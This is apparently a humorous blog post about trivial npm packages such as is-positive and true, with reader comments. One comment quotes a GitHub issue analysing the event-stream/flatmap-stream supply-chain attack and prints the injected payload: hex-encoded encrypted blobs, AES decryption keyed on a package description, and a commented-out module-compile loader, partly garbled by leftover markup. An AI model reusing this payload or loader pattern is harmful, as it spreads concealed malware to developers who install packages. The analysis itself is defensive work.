loading...

Very fascinating NPM packages

ravernkoh profile image Ravern Koh ・2 min read

Recently, I was browsing through NPM (what?) when I came across some really interesting and fascinating packages. Of course, I left the most interesting one to the last 😬.

is-positive

This was the package that initiated my deep dive into the depths of NPM's 683162 packages (it's probably more by the time I post this).

As it turns out, this package does indeed return whether the argument is positive.

const isPositive = require('is-positive');

isPositive(1);
//=> true

And that's all it does. I pondered about the possible use-cases of this package, because apparently, there are many.

is-positive weekly downloads

I discovered another hidden gem when looking through the Dependents section that NPM provides (there were 4 of them).

is-not-positive

This package simply does the exact opposite of what is-positive does. Its description is incredibly apt.

is-not-positive description

is-negative

This being JavaScript, being non-positive probably doesn't mean being negative, so a new package had to be created to check for negativity.

This package's negativity was even apparent through its weekly downloads, which are considerably less than its more radiant counterpart.

is-negative weekly downloads

true

This is where the true fun begins. I stumbled across this quite by accident after entering a few other search queries like "is-wrong" and "woah". It turns out that this is actually a port of the Unix utility true.

As with all Unix utilities, its usage was quite easy to grasp.

var t = require('./true')
var myTrueValue = t();

console.log(myTrueValue === true); // Logs 'true'

However, I felt that this package looked a bit shadier than the rest due to its use of var. Thus, I decided to take a look at some of the open issues on its GitHub. You won't believe what happened next.

true critical issue

I felt betrayed.

As it turns out, there was a critical vulnerability in the code, discovered by Patrick Steele-Idem, who spent hours tracing down the problem down.

It turns out that another library had contained the following code, which caused true to return false.

require.cache[require.resolve('true')].exports = function() {
    return false;
};

Luckily, he came up with a very quick fix that solved this issue.

setInterval(function() {
    if (require('true')() !== true) {
        // Fix it!
        require.cache[require.resolve('true')].exports = function() {
            return true;
        };
    }
}, 10);

Conclusion

Overall, (re)discovering all these wonderful packages has been a very rewarding experience for me. I will probably never do this again.

Posted on by:

ravernkoh profile

Ravern Koh

@ravernkoh

The best code is no code πŸ™…β€β™‚οΈ

Discussion

markdown guide
 

node_modules frightens me.

A simple npm/yarn install can yield thousands of depdencies... any one of which could cause the whole app to fail. It's a wonder anything works at all, really.

 

You won't believe how many datetimepicker packages that barely even work are out there. It's easier to implement your own than going through all of them datetimepickers.

 

Once You've written it, be sure to publish it to NPM!

 

For me the only one is left-pad who broke the internet in 2016, and I heard is was not even good code :)).

Now is even worse because the front end devs, for webpack and other utilities are using and writing more useless packages.
react

 

NPM and GitHub are full of junk. Not just abandoned, pointless or broken packages, but silly/joke packages as well.

This may be fun at first, until you read this:

hackernoon.com/im-harvesting-credi...

 

It actually happened:

I don't know what to say. #116

@dominictarr Why was @right9ctrl given access to this repo? He added flatmap-stream which is entirely (1 commit to the repo but has 3 versions, the latest one removes the injection, unmaintained, created 3 months ago) an injection targeting ps-tree. After he adds it at almost the exact same time the injection is added to flatmap-stream, he bumps the version and publishes. Literally the second commit (3 days later) after that he removes the injection and bumps a major version so he can clear the repo of having flatmap-stream but still have everyone (millions of weekly installs) using 3.x affected.

@right9ctrl If you removed flatmap-stream because your realized it was an injection attack why didn't you yank event-stream@3.3.6 from npm and put a PSA? If you didn't know, why did you choose to use a completely unused/unknown library (0 downloads on npm until you use it)? If I had the exact date from npm in which flatmap-stream@0.1.1 was published I wouldn't be asking you questions.

I've included a break down of what I have so far on flatmap-stream below. It includes the portion of code not found in the unminified source of flatmap-stream@0.1.1 but found in the minified source. The code has been cleaned up a little to get a better understanding.

The worst part is I still don't even know what this does... The decrypted data n[0] is byte code or something, not regular javascript, or maybe I'm just not handling it correctly.

// var r = require, t = process;

// function e(r) {
// return Buffer.from(r, "hex").toString()
// }
function decode(data) {
return Buffer.from(data, "hex").toString()
}

// var n = r(e("2e2f746573742f64617461")),
// var n = require(decode("2e2f746573742f64617461"))
// var n = require('./test/data')
var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
// o = t[e(n[3])][e(n[4])];
// npm_package_description = process[decode(n[3])][decode(n[4])];
// npm_package_description = process['env']['npm_package_description'];
npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key)

// if (!o) return;
if (!npm_package_description) return;

// var u = r(e(n[2]))e(n[6]),
// var decipher = require(decode(n[2]))decode(n[6]),
var decipher = require('crypto')'aes256', npm_package_description">'createDecipher',

<span class="pl-c"><span class="pl-c">//</span> a = u.update(n[0], e(n[8]), e(n[9]));</span>
<span class="pl-c"><span class="pl-c">//</span> decoded = decipher.update(n[0], e(n[8]), e(n[9]));</span>
decoded <span class="pl-k">=</span> <span class="pl-smi">decipher</span>.<span class="pl-en">update</span>(n[<span class="pl-c1">0</span>], <span class="pl-s"><span class="pl-pds">'</span>hex<span class="pl-pds">'</span></span>, <span class="pl-s"><span class="pl-pds">'</span>utf8<span class="pl-pds">'</span></span>);

console.log(n); // IDK why this is here...

// a += u.final(e(n[9]));
decoded += decipher.final('utf8');

// var f = new module.constructor;
var newModule = new module.constructor;

/************ DO NOT UNCOMMENT [THIS RUNS THE CODE] ************/
// f.paths = module.paths, fe(n[7]), f.exports(n[1])
// newModule.paths = module.paths, newModule'_compile', newModule.exports(n[1])
// newModule.paths = module.paths
// newModule'_compile' // Module.prototype._compile = function(content, filename)
// newModule.exports(n[1])

 

Now I feel the need to defend my solution of adding runtime code to ensure that a critical npm package is working as expected. I'm sure there are lots of developers out there that think that this kind of check is not needed, but what I like to remind people is that a system can fail for any number of reasons (CPUs can make mistakes or a bit can be flipped in memory due to an electrical surge). I usually don't work on software where people's lives depends on it, but I like to code as though I do. And for that, defensive programming is key. Not only do I add runtime checks in all of my functions to detect runtime bugs, I also like to add code that will look back at the call trace and fix the problematic code by patching code using heuristics and sophisticated algorithms to prevent problems from spreading to other parts of the system. I've been coding for years and this strategy has served me well.

 

Ah I see. Defensive programming is indeed the future.

 

Very Interesting, I will tried

 
 
 

Phew, I admit, I had my logical brain on, the one with no sense of humour. Safe to say I had a weekend and feeling better πŸ€“

Glad that you are feeling better :)

 

You made my day man, thank you

 
 

All these packages are meant to be used in composition when doing functional programming.

 

Ahhh... that makes a lot more sense!

 

Don't forget the 76 packages providing or claiming to provide a "do nothing" method.

Node.js "developers" should really consider learning an actual job instead.